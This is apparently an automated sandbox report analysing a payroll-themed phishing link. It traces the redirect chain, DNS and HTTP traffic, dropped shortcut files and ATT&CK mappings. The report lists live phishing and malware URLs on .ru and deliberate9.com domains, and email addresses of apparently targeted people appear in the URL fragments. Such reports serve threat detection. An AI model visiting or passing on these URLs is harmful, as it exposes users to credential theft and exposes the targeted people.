Source: global traffic	HTTP traffic detected: GET /rand$lyz8b1 HTTP/1.1Host: d7fa.revishbos.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: jhnet.sakura.ne.jp
Source: global traffic	DNS traffic detected: DNS query: link.mail.beehiiv.com
Source: global traffic	DNS traffic detected: DNS query: www.fukui-tv.co.jp
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: payrollfaxdocs-shared-employid6237262721.deliberate9.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: d8fc.ntonteral.ru
Source: global traffic	DNS traffic detected: DNS query: d7fa.revishbos.ru

Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2RXTr6YS-zF4S-kcSWSVi_szLgiuE.woff2)
Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2RXTr6YS-zF4S-kcSWSVi_szLuiuEViw.woff2)
Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2RXTr6YS-zF4S-kcSWSVi_szLviuEViw.woff2)

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: classification engine

Classification label: mal56.phis.win@18/30@38/16

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1912,i,18268454604980473983,10137969894201302426,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA#XBESTIE@GMAIL.COM"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1912,i,18268454604980473983,10137969894201302426,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Web Protocols	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA#XBESTIE@GMAIL.COM	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://www.fukui-tv.co.jp/_click.php?id=83642&url=https%3A%2F%2FPayrollfaxdocs-shared-employID6237262721.deliberate9.com%2FqZwIOJI7cJMcfTGYSTk%2F&mode=link&utm_source=evas-newsletter-042f90.beehiiv.com&utm_medium=newsletter&utm_campaign=self-love&_bhlid=c369d7d1f059b06973116b83fbb5ca11132108a1	0%	Avira URL Cloud	safe
https://d7fa.revishbos.ru/rand$lyz8b1	0%	Avira URL Cloud	safe
https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/qZwIOJI7cJMcfTGYSTk/	0%	Avira URL Cloud	safe
https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA	0%	Avira URL Cloud	safe
https://d8fc.ntonteral.ru/loray@sysdac8	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d8fc.ntonteral.ru	104.21.16.1	true	false	high
code.jquery.com	151.101.66.137	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
payrollfaxdocs-shared-employid6237262721.deliberate9.com	188.114.97.3	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
link.mail.beehiiv.com	104.18.68.40	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.250.185.164	true	false	high
d7fa.revishbos.ru	172.67.186.200	true	false	high
jhnet.sakura.ne.jp	49.212.198.92	true	true	unknown
d17o6h1lfdzdyb.cloudfront.net	3.160.150.47	true	false	unknown
www.fukui-tv.co.jp	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/qZwIOJI7cJMcfTGYSTk/#XBESTIE@GMAIL.COM	false		unknown
https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA	false	Avira URL Cloud: safe	unknown
https://d7fa.revishbos.ru/rand$lyz8b1	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/qZwIOJI7cJMcfTGYSTk/#contact	false		unknown
https://d8fc.ntonteral.ru/loray@sysdac8	false	Avira URL Cloud: malware	unknown
https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/qZwIOJI7cJMcfTGYSTk/	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/qZwIOJI7cJMcfTGYSTk/#XBESTIE@SAIC.COM	false		unknown
https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA	false		high
https://www.fukui-tv.co.jp/_click.php?id=83642&url=https%3A%2F%2FPayrollfaxdocs-shared-employID6237262721.deliberate9.com%2FqZwIOJI7cJMcfTGYSTk%2F&mode=link&utm_source=evas-newsletter-042f90.beehiiv.com&utm_medium=newsletter&utm_campaign=self-love&_bhlid=c369d7d1f059b06973116b83fbb5ca11132108a1	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/324d0dcf743c/api.js	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.16.1	d8fc.ntonteral.ru	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
49.212.198.92	jhnet.sakura.ne.jp	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
3.160.150.47	d17o6h1lfdzdyb.cloudfront.net	United States	16509	AMAZON-02US	false
172.67.186.200	d7fa.revishbos.ru	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	payrollfaxdocs-shared-employid6237262721.deliberate9.com	European Union	13335	CLOUDFLARENETUS	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
104.18.68.40	link.mail.beehiiv.com	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.10

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1615239
Start date and time:	2025-02-14 17:22:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA#XBESTIE@GMAIL.COM
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@18/30@38/16

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 172.217.16.206, 64.233.184.84, 172.217.18.14, 142.250.186.46, 142.250.186.142, 142.250.186.174, 142.250.185.106, 142.250.186.67, 216.58.206.46, 142.250.185.163, 142.250.186.110, 142.250.185.174, 142.250.74.206, 2.19.106.160, 4.175.87.197, 13.107.253.45
Excluded domains from analysis (whitelisted): clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA#XBESTIE@GMAIL.COM

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 14 15:22:53 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9894388541083963
Encrypted:	false
SSDEEP:	48:8odvjTTbCfHPidAKZdA1FehwiZUklqehay+3:8EjzChZy
MD5:	704248912BDECA18432894C0ED5B8A5F
SHA1:	C40DBE8A90F17EA7E810E3202C4A5CCFB759DCE8
SHA-256:	114A202D117D458D092148A0AE9A06C1BEDFAE1A21D54A45E3CA28F1755E58FF
SHA-512:	6DE1C4F5CEFAF50C6AF137F0BDC3C9438CB1446BDE909A551CDF2A0823A9DB54FF782632BDF77EF6F1A106C2A094088F4418D250B3754DF8BD310D59658C2898
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....0...~..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.INZ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VNZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VNZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VNZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VNZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........m./......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 14 15:22:53 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.005731517884522
Encrypted:	false
SSDEEP:	48:86dvjTTbCfHPidAKZdA1seh/iZUkAQkqehJy+2:86jzC39QYy
MD5:	379C755B36DEE39784B5443DBD2E0967
SHA1:	1F9C8B5A339E7E9E753BD0C1E72F9AB8354C08E8
SHA-256:	694643CF4361060FA9B62DF1B16080D8505939BB2CBE9EC74AC0FB8BFFD065B7
SHA-512:	69CD236BECEBAB51403B63D5FD0B09564AB07960DA8F6ADB349478540AC55A0639BDCF590F633952A5EC4F3B97C89C0CCC95E4156C5D42FEEB52B98259BE0814
Malicious:	false
Reputation:	low
